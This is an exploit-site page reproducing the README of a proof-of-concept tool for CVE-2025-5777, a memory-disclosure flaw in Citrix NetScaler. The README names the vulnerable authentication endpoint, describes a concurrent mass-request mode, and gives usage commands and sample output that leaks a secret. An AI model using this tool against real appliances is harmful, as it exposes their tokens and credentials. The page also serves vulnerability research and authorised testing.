Sploitus

Exploit for Out-of-bounds Read in Citrix Netscaler Application Delivery Controller

githubexploit Β· 2025-07-10

Exploit Code

README81 lines
## https://sploitus.com/exploit?id=A6669279-9D9F-5190-8B27-54D6A1FC4498
# CVE-2025-5777 - Citrix NetScaler Memory Leak PoC

## πŸ“Œ Description

This script exploits a critical memory disclosure vulnerability in Citrix NetScaler ADC/Gateway appliances, identified as **CVE-2025-5777** (dubbed **CitrixBleed 2**). It triggers a memory leak through the `/p/u/doAuthentication.do` endpoint, revealing uninitialized memory containing sensitive data such as XML fragments, tokens, and potentially credentials.

* πŸ“… **CVE ID:** CVE-2025-5777
* βš™οΈ **Impact:** Information Disclosure
* πŸ§‘β€πŸ’» **Author:** \[0xgh057r3c0n]
* 🧡 **Concurrency:** Asynchronous with `aiohttp`
* πŸ“¦ **Dependencies:** `aiohttp`, `colorama`

---

## πŸš€ Features

* Asynchronous mass-request engine using `asyncio + aiohttp`
* Hex dump of leaked memory fragments
* Auto-detection of the `` memory leak
* Verbose mode for debugging and response preview
* Graceful interrupt handling (Ctrl+C)

---

## πŸ§ͺ Usage

```bash
python3 CVE-2025-5777.py http:// [options]
```

### πŸ”§ Options

| Option          | Description                                    |
| --------------- | ---------------------------------------------- |
| `-v, --verbose` | Enable verbose debug output                    |
| `-p `    | Use HTTP proxy (e.g., `http://127.0.0.1:8080`) |
| `-t `  | Number of concurrent requests (default: 10)    |

---

## πŸ“₯ Example

```bash
python3 CVE-2025-5777.py http://192.168.1.1 -v -t 5
```

---

## πŸ“€ Sample Output

```
_____________   _______________         _______________   ________   .________          .___________________________________ 
\_   ___ \   \ /   /\_   _____/         \_____  \   _  \  \_____  \  |   ____/          |   ____/\______  \______  \______  \
/    \  \/\   Y   /  |    __)_   ______  /  ____/  /_\  \  /  ____/  |____  \   ______  |____  \     /    /   /    /   /    /
\     \____\     /   |        \ /_____/ /       \  \_/   \/       \  /       \ /_____/  /       \   /    /   /    /   /    / 
 \______  / \___/   /_______  /         \_______ \_____  /\_______ \/______  /         /______  /  /____/   /____/   /____/  
        \/                  \/                  \/     \/         \/       \/                 \/                             

         Citrix NetScaler Memory Leak PoC (CVE-2025-5777)
                     Author: 0xgh057r3c0n

[πŸ”„] POST β†’ http://192.168.1.1/p/u/doAuthentication.do β†’ Status: 200
[βœ”οΈ ] Found InitialValue Memory Leak!
[🧠] Hex Dump:
------------------------------------------------------------------------
00000000: 73 65 63 72 65 74 3d 22 61 62 63 64 31 32 33 21   secret="abcd123!
00000010: 40 23 24 25 5e 26 2a 28 29 22 3c 2f 49 6e 69 74   @#$%^&*()"
------------------------------------------------------------------------

[βœ”οΈ ] Leak confirmed. Continuing extraction...
```

---

## ⚠️ Disclaimer

> This proof-of-concept is intended for **educational and authorized security testing only**.
> Unauthorized scanning or exploitation of systems you don't own is **illegal**.

---